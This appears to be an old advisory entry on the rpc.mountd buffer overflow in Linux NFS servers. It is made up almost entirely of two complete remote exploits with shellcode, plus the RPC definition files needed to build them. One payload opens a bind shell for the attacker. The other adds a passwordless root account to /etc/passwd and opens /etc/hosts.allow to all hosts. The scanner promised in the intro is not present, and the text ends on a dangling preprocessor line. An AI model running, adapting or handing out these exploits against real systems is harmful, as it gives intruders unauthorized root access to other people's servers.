COMMAND
rpc.mountd
SYSTEMS AFFECTED
Linux RedHat 5.x, Slackware 3.3, Caldera
PROBLEM
NFS is a distributed file system in which clients make use of file
systems provided by servers. There is a vulnerability in some
implementations of the software that NFS servers use to log
requests to use file systems. When a client makes a request to
use a file system and subsequently makes that file system
available as a local resource, the client is said to "mount" the
file system. The vulnerability lies in the software on the NFS
server that handles requests to mount file systems. This software
is usually called "mountd" or "rpc.mountd." Intruders who exploit
the vulnerability are able to gain administrative access to the
vulnerable NFS file server. That is, they can do anything the
system administrator can do. This vulnerability can be exploited
remotely and does not require an account on the target machine.
Exploit follows (first one from AMD and second by LuciSoft plus at
the end there's a scanner for this vulnerability):
-------------
ADMmountd.c
-------------
/*
*
*
* Linux rpc.mountd 2.2beta29 exploit
*
* Coded by plaguez, Antilove, Mikasoft at the ADM Party (7/98)
*
* Credits:
* - DiGiT for finding the vulnerability
* Compile: rpcgen mount.x ; gcc exmnt.c
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#include <getopt.h>
#include "mount_clnt.c"
#include "mount_xdr.c"
#include "ADMgetip.c"
#define NOP 0x90
#define WAITPORT 10752
#define STKLEN 200
char buff[10000];
struct target
{
char desc[80];
int systype;
unsigned long addr;
int addalign;
};
struct target targets[] =
{
{"RedHat Linux 5.1 k 2.0.35 rpc.mountd", 0, 0x08052d28, 0},
{"Slakware 3.3 k 2.0.33+Solar_Designer's patch rpc.mountd 2.2beta29",
0, 0x0805bbe0, 0},
};
char c0de[] =
"\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" /* alarm(0); */
"\x33\xD2\x33\xc0\x8b\xDA\xb0\x06\xcd\x80\xfe\xc2\x75\xf4" /* close FDs */
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x62\xeb\x62" /* w/ fork() */
//"\x31\xc0\xb0\x02\x90\x90\x85\xc0\x90\x90\xeb\x62" /* w/o fork() */
"\x5e\x56\xac\x3c\xfd\x74\x06\xfe\xc0\x74\x0b" /* =\_ who wrote it? */
"\xeb\xf5\xb0\x30\xfe\xc8\x88\x46\xff\xeb\xec" /* =/` hmm? */
"\x5e\xb0\x02\x89\x06\xfe\xc8\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\x31\xdb"
"\xfe\xc3\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x2a\x66\x89\x46"
"\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
"\x66\xfe\xc3\xcd\x80\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\xeb\x04"
"\xeb\x4c\xeb\x52\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xfe\xc3\xcd\x80"
"\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xfe\xc1\xcd\x80\xb0\x3f\xfe\xc1"
"\xcd\x80\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46"
"\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
"\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x45\xff\xff"
"\xff\xFF\xFD\xFF\x50\x72\x69\x76\x65\x74\x20\x41\x44\x4D\x63\x72\x65\x77";
void
handle_alarm (sn)
int sn;
{
alarm (0);
signal (SIGALRM, SIG_DFL);
printf ("Unable to connect: Connection timed out\n");
exit (0);
}
unsigned long
host2ip (char *serv)
{
struct sockaddr_in sinn;
struct hostent *hent;
hent = gethostbyname (serv);
if (hent == NULL)
return 0;
bzero ((char *) &sinn, sizeof (sinn));
memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
return sinn.sin_addr.s_addr;
}
void
addchar (char *str, char ch)
{
unsigned int len;
len = strlen (str);
str[len] = ch;
str[len + 1] = 0;
}
int
ConnectServer (char *host, int port)
{
int sockdesc;
struct sockaddr_in sin;
struct hostent *he;
sin.sin_port = htons (port);
sin.sin_family = AF_INET;
he = gethostbyname (host);
if (he)
{
memcpy ((caddr_t) & sin.sin_addr.s_addr, he->h_addr, he->h_length);
}
else
{
printf ("Error: gethostbyname(): Unable to resolve [%s]\n", host);
exit (-1);
}
if ((sockdesc = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror ("Error: socket()");
exit (-1);
}
if (connect (sockdesc, (struct sockaddr *) &sin, sizeof (sin)) < 0)
{
perror ("Error: connect()");
exit (-1);
}
return sockdesc;
}
void
MultiplexConnection (int sockdesc)
{
int ret;
char sockbuf[2048];
fd_set readfds;
sprintf (sockbuf, "trap '' SIGALRM SIGTRAP\n\
PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/usr/sbin;export PATH\n\
/usr/sbin/rpc.mountd </dev/null\n\
/bin/uname -a;/usr/bin/id\n");
write (sockdesc, sockbuf, strlen(sockbuf));
while (1)
{
FD_ZERO (&readfds);
FD_SET (0, &readfds);
FD_SET (sockdesc, &readfds);
select (255, &readfds, NULL, NULL, NULL);
if (FD_ISSET (sockdesc, &readfds))
{
memset (sockbuf, 0, 2048);
ret = read (sockdesc, sockbuf, 2048);
if (ret <= 0)
{
printf ("Connection closed by foreign host.\n");
exit (-1);
}
printf ("%s", sockbuf);
}
if (FD_ISSET (0, &readfds))
{
memset (sockbuf, 0, 2048);
read (0, sockbuf, 2048);
write (sockdesc, sockbuf, 2048);
}
}
}
int
lookup_host (ra, hn, rp)
struct sockaddr_in *ra;
char *hn;
unsigned short rp;
{
ra->sin_family = AF_INET;
ra->sin_port = htons (rp);
if ((ra->sin_addr.s_addr = inet_addr (hn)) == -1)
{
struct hostent *he;
if ((he = gethostbyname (hn)) != (struct hostent *) NULL)
{
memcpy (&ra->sin_addr.s_addr, he->h_addr, 4);
return 1;
}
else
herror ("Unable to resolve hostname");
}
else
return 1;
return 0;
}
int
m00unt (char *host, char *buf)
{
CLIENT *client;
fhstatus *FH;
dirpath DIR;
char buffer[10000];
int i;
char c;
/* ini the stuff */
/* mika is fuqn bad @ mace heheheh I OWN HIM %!@$!@$!@ :) */
bzero (buffer, sizeof (buffer));
DIR = buffer;
/* create the socket */
if ((client = clnt_create (host, MOUNTPROG, MOUNTVERS, "udp")) == NULL)
{
printf ("rpc.mountd not registred :>\n");
exit (2);
}
strncpy (DIR, buf, sizeof (buffer));
if ((mountproc_mnt_1 (&DIR, client)) == -1)
{
printf ("mountproc_mnt failed :<\n");
exit (0);
}
}
void
attack_mountd (loc)
char *loc;
{
int sockdesc;
int status;
switch (fork ())
{
case 0:
m00unt (loc, buff);
printf ("@#$%#!#$$\n");
exit (1);
case -1:
printf ("fork error\n");
exit (1);
default:
printf ("Attente connexion...\n");
fflush (stdout);
wait (&status);
}
sleep (5);
sockdesc = ConnectServer (loc, WAITPORT);
printf ("Shell found!\n");
MultiplexConnection (sockdesc);
close (sockdesc);
exit (-1);
}
void
usage (char *pname)
{
int compt;
printf ("\nUsage:\t%s targethost [-t type] [-o offset] [-a align]\n", pname);
printf ("\ttargethost may either be name or ip.\n");
printf ("\ttype chooses from a list of predefined targets.\n");
for (compt = 0; compt < sizeof (targets) / (sizeof (struct target));
compt++)
printf ("\t\t%i: %s\n", compt, targets[compt].desc);
printf ("\toffset is the offset (not required if -t is used)\n");
printf ("\talign is the alignment (not required if -t is used)\n\n");
}
int
host2a (unsigned long ipz)
{
struct in_addr muf;
muf.s_addr = ipz;
return ((103 - (strlen (inet_ntoa (muf)))) % 4);
}
void
main (argc, argv)
int argc;
char *argv[];
{
int i;
struct sockaddr_in ra;
struct in_addr blah;
unsigned long muf;
char *ptr;
char *endbuff;
char *target = NULL;
unsigned long addr;
unsigned char jmp;
long *l_ptr;
int offset = 0;
int bsize = 1024;
int align = -1;
int targ = 0;
char o;
char *argv0 = strdup (argv[0]);
while ((o = getopt (argc, argv, "a:o:t:h")) != -1)
switch (o)
{
case 'h':
usage (argv0);
exit (1);
case 'o':
if (optarg)
offset -= atoi (optarg);
break;
case 't':
if (optarg)
targ = atoi (optarg);
break;
case 'a':
if (optarg)
align = atoi(optarg);
break;
}
argc -= optind;
argv += optind;
target = *argv;
if (!target)
{
usage (argv0);
exit (1);
}
memset (buff, '\x90', bsize);
printf ("selected target (-t %d): %s.\n", targ, targets[targ].desc);
addr = targets[targ].addr;
printf ("shellcode lenght: %i\n", strlen(c0de));
printf ("buffer size: %i\n", bsize);
addr += offset;
printf ("offset: %d\n", offset);
printf ("address: 0x%lx\n", addr);
getlocalip (&muf, host2ip (target));
blah.s_addr = muf;
printf ("local ip = %s\n", inet_ntoa (blah));
if (align < 0)
align = host2a (muf);
printf ("align = %i\n", align);
align += targets[targ].addalign;
endbuff = buff + bsize;
for (ptr = buff; ptr < (endbuff - strlen(c0de) - STKLEN); ptr++)
*ptr = NOP;
for (i = 0; i < strlen(c0de); i++)
*(ptr++) = c0de[i];
for (ptr += align; ptr < endbuff; ptr += 4)
{
ptr[0] = (addr & 0x000000ff);
ptr[1] = (addr & 0x0000ff00) >> 8;
ptr[2] = (addr & 0x00ff0000) >> 16;
ptr[3] = (addr & 0xff000000) >> 24;
}
*endbuff = '\x0';
attack_mountd (target);
}
/* today 9 Aug 1998 */
----------------
ADMgetip.c
----------------
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <unistd.h>
#include "ip_icmp.h"
#define ICMP_REPLY_TIMEOUT 15
unsigned short
in_cksum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}
int getlocalip(unsigned long* src,unsigned long dest)
{
char try = 0;
struct sockaddr_in sin;
int icmp_sock;
int paket_len,sin_len;
char paket[1024];
short* chk;
struct timeval tm,tm1,tm2;
long sec,usec;
float ms;
fd_set fdset;
struct icmphdr* icmp=(struct icmphdr*)paket;
kkk:
icmp_sock=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
FD_ZERO(&fdset);
FD_SET(icmp_sock,&fdset);
tm.tv_sec=ICMP_REPLY_TIMEOUT;;
tm.tv_usec=0;
sin.sin_family=AF_INET;
sin.sin_port=htons(0);
sin.sin_addr.s_addr=dest;
paket_len=8;
icmp->type=8;
icmp->code=0;
icmp->checksum=0;
icmp->un.echo.id=59;
icmp->un.echo.sequence=0;
icmp->checksum=in_cksum(icmp,paket_len);
sin_len=sizeof(sin);
sendto(icmp_sock,&paket,paket_len,0,(struct sockaddr *)&sin,sin_len);
gettimeofday(&tm1,NULL);
if (select(icmp_sock+1,&fdset,NULL,NULL,&tm)==1) {
recvfrom(icmp_sock,&paket,sizeof(paket),0,(struct sockaddr
*)&sin,&sin_len);
gettimeofday(&tm2,NULL);
sec=tm2.tv_sec-tm1.tv_sec;
usec=tm2.tv_usec-tm1.tv_usec;
ms=(sec*1000)+((float)usec/1000);
printf("ping: %9.2fms\n",ms);
}
else {
printf("ping timeout\n");
try ++;
if ( try > 2 )return(-1);
close (icmp_sock);
goto kkk;
}
*src=sin.sin_addr.s_addr;
return 0;
}
---------------
ip_icmp.h
---------------
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
#define ICMP_ECHOREPLY 0 /* Echo Reply */
#define ICMP_DEST_UNREACH 3 /* Destination Unreachable */
#define ICMP_SOURCE_QUENCH 4 /* Source Quench */
#define ICMP_REDIRECT 5 /* Redirect (change route) */
#define ICMP_ECHO 8 /* Echo Request */
#define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */
#define ICMP_PARAMETERPROB 12 /* Parameter Problem */
#define ICMP_TIMESTAMP 13 /* Timestamp Request */
#define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */
#define ICMP_INFO_REQUEST 15 /* Information Request */
#define ICMP_INFO_REPLY 16 /* Information Reply */
#define ICMP_ADDRESS 17 /* Address Mask Request */
#define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */
#define NR_ICMP_TYPES 18
/* Codes for UNREACH. */
#define ICMP_NET_UNREACH 0 /* Network Unreachable */
#define ICMP_HOST_UNREACH 1 /* Host Unreachable */
#define ICMP_PROT_UNREACH 2 /* Protocol Unreachable */
#define ICMP_PORT_UNREACH 3 /* Port Unreachable */
#define ICMP_FRAG_NEEDED 4 /* Fragmentation Needed/DF set */
#define ICMP_SR_FAILED 5 /* Source Route failed */
#define ICMP_NET_UNKNOWN 6
#define ICMP_HOST_UNKNOWN 7
#define ICMP_HOST_ISOLATED 8
#define ICMP_NET_ANO 9
#define ICMP_HOST_ANO 10
#define ICMP_NET_UNR_TOS 11
#define ICMP_HOST_UNR_TOS 12
#define ICMP_PKT_FILTERED 13 /* Packet filtered */
#define ICMP_PREC_VIOLATION 14 /* Precedence violation */
#define ICMP_PREC_CUTOFF 15 /* Precedence cut off */
#define NR_ICMP_UNREACH 15 /* instead of hardcoding immediate value */
/* Codes for REDIRECT. */
#define ICMP_REDIR_NET 0 /* Redirect Net */
#define ICMP_REDIR_HOST 1 /* Redirect Host */
#define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */
#define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */
/* Codes for TIME_EXCEEDED. */
#define ICMP_EXC_TTL 0 /* TTL count exceeded */
#define ICMP_EXC_FRAGTIME 1 /* Fragment Reass time exceeded */
------------
mount.x
------------
/* @(#)mount.x 2.1 88/08/01 4.0 RPCSRC */
/* @(#)mount.x 1.2 87/09/18 Copyr 1987 Sun Micro */
/*
* Sun RPC is a product of Sun Microsystems, Inc. and is provided for
* unrestricted use provided that this legend is included on all tape
* media and as a part of the software program in whole or part. Users
* may copy or modify Sun RPC without charge, but are not authorized
* to license or distribute it to anyone else except as part of a product or
* program developed by the user.
*
* SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
* WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
* PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
*
* Sun RPC is provided with no support and without any obligation on the
* part of Sun Microsystems, Inc. to assist in its use, correction,
* modification or enhancement.
*
* SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
* INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
* OR ANY PART THEREOF.
*
* In no event will Sun Microsystems, Inc. be liable for any lost revenue
* or profits or other special, indirect and consequential damages, even if
* Sun has been advised of the possibility of such damages.
*
* Sun Microsystems, Inc.
* 2550 Garcia Avenue
* Mountain View, California 94043
*/
/*
* Protocol description for the mount program
*/
const MNTPATHLEN = 1024; /* maximum bytes in a pathname argument */
const MNTNAMLEN = 255; /* maximum bytes in a name argument */
const FHSIZE = 32; /* size in bytes of a file handle */
/*
* The fhandle is the file handle that the server passes to the client.
* All file operations are done using the file handles to refer to a file
* or a directory. The file handle can contain whatever information the
* server needs to distinguish an individual file.
*/
typedef opaque fhandle[FHSIZE];
/*
* If a status of zero is returned, the call completed successfully, and
* a file handle for the directory follows. A non-zero status indicates
* some sort of error. The status corresponds with UNIX error numbers.
*/
union fhstatus switch (unsigned fhs_status) {
case 0:
fhandle fhs_fhandle;
default:
void;
};
/*
* The type dirpath is the pathname of a directory
*/
typedef string dirpath<MNTPATHLEN>;
/*
* The type name is used for arbitrary names (hostnames, groupnames)
*/
typedef string name<MNTNAMLEN>;
/*
* A list of who has what mounted
*/
typedef struct mountbody *mountlist;
struct mountbody {
name ml_hostname;
dirpath ml_directory;
mountlist ml_next;
};
/*
* A list of netgroups
*/
typedef struct groupnode *groups;
struct groupnode {
name gr_name;
groups gr_next;
};
/*
* A list of what is exported and to whom
*/
typedef struct exportnode *exports;
struct exportnode {
dirpath ex_dir;
groups ex_groups;
exports ex_next;
};
program MOUNTPROG {
/*
* Version one of the mount protocol communicates with version two
* of the NFS protocol. The only connecting point is the fhandle
* structure, which is the same for both protocols.
*/
version MOUNTVERS {
/*
* Does no work. It is made available in all RPC services
* to allow server reponse testing and timing
*/
void
MOUNTPROC_NULL(void) = 0;
/*
* If fhs_status is 0, then fhs_fhandle contains the
* file handle for the directory. This file handle may
* be used in the NFS protocol. This procedure also adds
* a new entry to the mount list for this client mounting
* the directory.
* Unix authentication required.
*/
fhstatus
MOUNTPROC_MNT(dirpath) = 1;
/*
* Returns the list of remotely mounted filesystems. The
* mountlist contains one entry for each hostname and
* directory pair.
*/
mountlist
MOUNTPROC_DUMP(void) = 2;
/*
* Removes the mount list entry for the directory
* Unix authentication required.
*/
void
MOUNTPROC_UMNT(dirpath) = 3;
/*
* Removes all of the mount list entries for this client
* Unix authentication required.
*/
void
MOUNTPROC_UMNTALL(void) = 4;
/*
* Returns a list of all the exported filesystems, and which
* machines are allowed to import it.
*/
exports
MOUNTPROC_EXPORT(void) = 5;
/*
* Identical to MOUNTPROC_EXPORT above
*/
exports
MOUNTPROC_EXPORTALL(void) = 6;
} = 1;
} = 100005;
------------------------------------------------------------------
/*
rpc.mountd [remote] exploit by LucySoft [ luci@transart.ro ]
[September 20, 1998]
[version 0.4]
tested on Red Hat Linux 5.1 (Manhattan)
running nfs-server-2.2beta29
NOTE: if the remote host has /etc/exporfs non-empty,
[shwomount -e remote_host]
you must define __EXPORTS 2 and recompile
I've tested on only two RH 5.1 systems, the offset was about 1000.
*/
#define __EXPORTFS 1
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <linux/nfs.h>
#include "nfsmount.h"
static unsigned long __offset = 1160;
/*
check out code.c if you want to know what this means
*/
static char code[] =
{
0xeb, 0x56, 0x5e, 0x56,
0x56, 0x56, 0x31, 0xd2,
0x88, 0x56, 0x0b, 0x88,
0x56, 0x1e, 0x88, 0x56,
0x27, 0x88, 0x56, 0x38,
0xb2, 0x0a, 0x88, 0x56,
0x1d, 0x88, 0x56, 0x26,
0x5b, 0x31, 0xc9, 0x41,
0x41, 0x31, 0xc0, 0xb0,
0x05, 0xcd, 0x80, 0x50,
0x89, 0xc3, 0x31, 0xc9,
0x31, 0xd2, 0xb2, 0x02,
0x31, 0xc0, 0xb0, 0x13,
0xcd, 0x80, 0x58, 0x89,
0xc2, 0x89, 0xc3, 0x59,
0x52, 0x31, 0xd2, 0xb2,
0x0c, 0x01, 0xd1, 0xb2,
0x13, 0x31, 0xc0, 0xb0,
0x04, 0x31, 0xd2, 0xb2,
0x12, 0xcd, 0x80, 0x5b,
0x31, 0xc0, 0xb0, 0x06,
0xcd, 0x80, 0xeb, 0x3f,
0xe8, 0xa5, 0xff, 0xff,
0xff, 0x2f, 0x65, 0x74,
0x63, 0x2f, 0x70, 0x61,
0x73, 0x73, 0x77, 0x64,
0x78, 0x7a, 0x3a, 0x3a,
0x30, 0x3a, 0x30, 0x3a,
0x3a, 0x2f, 0x3a, 0x2f,
0x62, 0x69, 0x6e, 0x2f,
0x73, 0x68, 0x78, 0x78,
0x41, 0x4c, 0x4c, 0x3a,
0x41, 0x4c, 0x4c, 0x78,
0x78, 0x2f, 0x65, 0x74,
0x63, 0x2f, 0x68, 0x6f,
0x73, 0x74, 0x73, 0x2e,
0x61, 0x6c, 0x6c, 0x6f,
0x77, 0x78, 0xff, 0x5b,
0x53, 0x31, 0xc9, 0xb1,
0x28, 0x01, 0xcb, 0xb1,
0x02, 0x31, 0xc0, 0xb0,
0x05, 0xcd, 0x80, 0x50,
0x89, 0xc3, 0x31, 0xc9,
0x31, 0xd2, 0xb2, 0x02,
0x31, 0xc0, 0xb0, 0x13,
0xcd, 0x80, 0x5b, 0x59,
0x53, 0x31, 0xd2, 0xb2,
0x1f, 0x01, 0xd1, 0xb2,
0x08, 0x31, 0xc0, 0xb0,
0x04, 0xcd, 0x80, 0x5b,
0x31, 0xc0, 0xb0, 0x06,
0xcd, 0x80, 0x31, 0xc0,
0x40, 0xcd, 0x80
};
unsigned long get_esp()
{
__asm__("movl %esp,%eax");
}
void _fill_hostile_buffer(char *ptr)
{
char *buff;
unsigned retaddr = get_esp() + __offset;
int length;
memset(ptr, 0x90, 1024);
length = strlen(code);
memcpy(ptr + 1024 - length - 40 - __EXPORTFS, code, length);
buff = ptr + 1024 - 40 - __EXPORTFS;
while (buff < (ptr + 1024))
{
*(unsigned*)buff = (unsigned)retaddr;
buff += sizeof(unsigned);
}
ptr[1023] = '\0';
fprintf(stderr, "code length = %d, used retaddr is %x\n", length, retaddr);
}
/*
ripped off from nfsmount.c [ mount-2.7l.rpm - RH 5.1 ]
*/
int _nfsmount(char* hostname, char *dirname)
{
CLIENT *mclient;
int mountprog, mountvers;
int nfsprog, nfsvers;
int mountport = 0;
int clnt_stat;
int msock, fsock;
struct hostent *hp;
struct sockaddr_in server_addr;
struct fhstatus status;
struct timeval total_timeout, retry_timeout;
if (!(hp = gethostbyname(hostname)))
{
fprintf(stderr, "mx: can't get address for %s\n", hostname);
return(-1);
}
server_addr.sin_family = AF_INET;
memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);
mountprog = MOUNTPROG;
mountvers = MOUNTVERS;
nfsprog = NFS_PROGRAM;
nfsvers = NFS_VERSION;
total_timeout.tv_usec = 0;
total_timeout.tv_sec = 20;
retry_timeout.tv_usec = 0;
retry_timeout.tv_sec = 3;
server_addr.sin_port = htons(mountport);
msock = RPC_ANYSOCK;
fprintf(stderr, "ok, attacking target %s\n", hp->h_name);
mclient = clntudp_create(&server_addr,
mountprog, mountvers,
retry_timeout, &msock);
if (mclient)
{
mclient->cl_auth = authunix_create_default();
clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
(xdrproc_t) xdr_dirpath, (caddr_t) &dirname,
(xdrproc_t) xdr_fhstatus, (caddr_t) &status,
total_timeout);
if (clnt_stat != RPC_SUCCESS)
{
/*
auth_destroy(mclient->cl_auth);
clnt_destroy(mclient);
close(msock);
clnt_perror(mclient, "mx clnt_call");
*/
return(msock);
}
fprintf(stderr, "successful clnt_call\n");
return(msock);
}
else
{
clnt_pcreateerror("mx clntudp_create");
return(-1);
}
auth_destroy(mclient->cl_auth);
clnt_destroy(mclient);
close(msock);
return (-1);
}
int main(int argc, char *argv[])
{
int k, sock;
char hostilebuffer[4096];
if (argc < 2)
{
fprintf(stderr, "usage : %s target_host [offset]\n", argv[0]);
return(-1);
}
if (argc == 3)
{
__offset = strtol(argv[2], (char**)NULL, 10);
fprintf(stderr, "using offset %d\n", __offset);
}
_fill_hostile_buffer(hostilebuffer);
if (_nfsmount(argv[1], hostilebuffer) > 0)
{
fprintf(stderr, "seems that security on host %s was defeated\n",
argv[1]);
}
return(0);
}
-------------------------------------------------------------------------
CUT_HERE next file is nfsmount.x
-------------------------------------------------------------------------
%/*
% * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
% * unrestricted use provided that this legend is included on all tape
% * media and as a part of the software program in whole or part. Users
% * may copy or modify Sun RPC without charge, but are not authorized
% * to license or distribute it to anyone else except as part of a product or
% * program developed by the user or with the express written consent of
% * Sun Microsystems, Inc.
% *
% * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
% * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
% * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
% *
% * Sun RPC is provided with no support and without any obligation on the
% * part of Sun Microsystems, Inc. to assist in its use, correction,
% * modification or enhancement.
% *
% * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
% * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
% * OR ANY PART THEREOF.
% *
% * In no event will Sun Microsystems, Inc. be liable for any lost revenue
% * or profits or other special, indirect and consequential damages, even if
% * Sun has been advised of the possibility of such damages.
% *
% * Sun Microsystems, Inc.
% * 2550 Garcia Avenue
% * Mountain View, California 94043
% */
%/*
% * Copyright (c) 1985, 1990 by Sun Microsystems, Inc.
% */
%
%/* from @(#)mount.x 1.3 91/03/11 TIRPC 1.0 */
/*
* Protocol description for the mount program
*/
#ifdef RPC_HDR
%#ifndef _rpcsvc_mount_h
%#define _rpcsvc_mount_h
#endif
#ifdef RPC_CLNT
%#include <string.h> /* for memset() */
#endif
const MNTPATHLEN = 1024; /* maximum bytes in a pathname argument */
const MNTNAMLEN = 255; /* maximum bytes in a name argument */
const FHSIZE = 32; /* size in bytes of a file handle */
/*
* The fhandle is the file handle that the server passes to the client.
* All file operations are done using the file handles to refer to a file
* or a directory. The file handle can contain whatever information the
* server needs to distinguish an individual file.
*/
typedef opaque fhandle[FHSIZE];
/*
* If a status of zero is returned, the call completed successfully, and
* a file handle for the directory follows. A non-zero status indicates
* some sort of error. The status corresponds with UNIX error numbers.
*/
union fhstatus switch (unsigned fhs_status) {
case 0:
fhandle fhs_fhandle;
default:
void;
};
/*
* The type dirpath is the pathname of a directory
*/
typedef string dirpath<MNTPATHLEN>;
/*
* The type name is used for arbitrary names (hostnames, groupnames)
*/
typedef string name<MNTNAMLEN>;
/*
* A list of who has what mounted
*/
typedef struct mountbody *mountlist;
struct mountbody {
name ml_hostname;
dirpath ml_directory;
mountlist ml_next;
};
/*
* A list of netgroups
*/
typedef struct groupnode *groups;
struct groupnode {
name gr_name;
groups gr_next;
};
/*
* A list of what is exported and to whom
*/
typedef struct exportnode *exports;
struct exportnode {
dirpath ex_dir;
groups ex_groups;
exports ex_next;
};
/*
* POSIX pathconf information
*/
struct ppathcnf {
int pc_link_max; /* max links allowed */
short pc_max_canon; /* max line len for a tty */
short pc_max_input; /* input a tty can eat all at once */
short pc_name_max; /* max file name length (dir entry) */
short pc_path_max; /* max path name length (/x/y/x/.. ) */
short pc_pipe_buf; /* size of a pipe (bytes) */
u_char pc_vdisable; /* safe char to turn off c_cc[i] */
char pc_xxx; /* alignment padding; cc_t == char */
short pc_mask[2]; /* validity and boolean bits */
};
program MOUNTPROG {
/*
* Version one of the mount protocol communicates with version two
* of the NFS protocol. The only connecting point is the fhandle
* structure, which is the same for both protocols.
*/
version MOUNTVERS {
/*
* Does no work. It is made available in all RPC services
* to allow server reponse testing and timing
*/
void
MOUNTPROC_NULL(void) = 0;
/*
* If fhs_status is 0, then fhs_fhandle contains the
* file handle for the directory. This file handle may
* be used in the NFS protocol. This procedure also adds
* a new entry to the mount list for this client mounting
* the directory.
* Unix authentication required.
*/
fhstatus
MOUNTPROC_MNT(dirpath) = 1;
/*
* Returns the list of remotely mounted filesystems. The
* mountlist contains one entry for each hostname and
* directory pair.
*/
mountlist
MOUNTPROC_DUMP(void) = 2;
/*
* Removes the mount list entry for the directory
* Unix authentication required.
*/
void
MOUNTPROC_UMNT(dirpath) = 3;
/*
* Removes all of the mount list entries for this client
* Unix authentication required.
*/
void
MOUNTPROC_UMNTALL(void) = 4;
/*
* Returns a list of all the exported filesystems, and which
* machines are allowed to import it.
*/
exports
MOUNTPROC_EXPORT(void) = 5;
/*
* Identical to MOUNTPROC_EXPORT above
*/
exports
MOUNTPROC_EXPORTALL(void) = 6;
} = 1;
/*
* Version two of the mount protocol communicates with version two
* of the NFS protocol.
* The only difference from version one is the addition of a POSIX
* pathconf call.
*/
version MOUNTVERS_POSIX {
/*
* Does no work. It is made available in all RPC services
* to allow server reponse testing and timing
*/
void
MOUNTPROC_NULL(void) = 0;
/*
* If fhs_status is 0, then fhs_fhandle contains the
* file handle for the directory. This file handle may
* be used in the NFS protocol. This procedure also adds
* a new entry to the mount list for this client mounting
* the directory.
* Unix authentication required.
*/
fhstatus
MOUNTPROC_MNT(dirpath) = 1;
/*
* Returns the list of remotely mounted filesystems. The
* mountlist contains one entry for each hostname and
* directory pair.
*/
mountlist
MOUNTPROC_DUMP(void) = 2;
/*
* Removes the mount list entry for the directory
* Unix authentication required.
*/
void
MOUNTPROC_UMNT(dirpath) = 3;
/*
* Removes all of the mount list entries for this client
* Unix authentication required.
*/
void
MOUNTPROC_UMNTALL(void) = 4;
/*
* Returns a list of all the exported filesystems, and which
* machines are allowed to import it.
*/
exports
MOUNTPROC_EXPORT(void) = 5;
/*
* Identical to MOUNTPROC_EXPORT above
*/
exports
MOUNTPROC_EXPORTALL(void) = 6;
/*
* POSIX pathconf info (Sun hack)
*/
ppathcnf
MOUNTPROC_PATHCONF(dirpath) = 7;
} = 2;
} = 100005;
#ifdef RPC_HDR
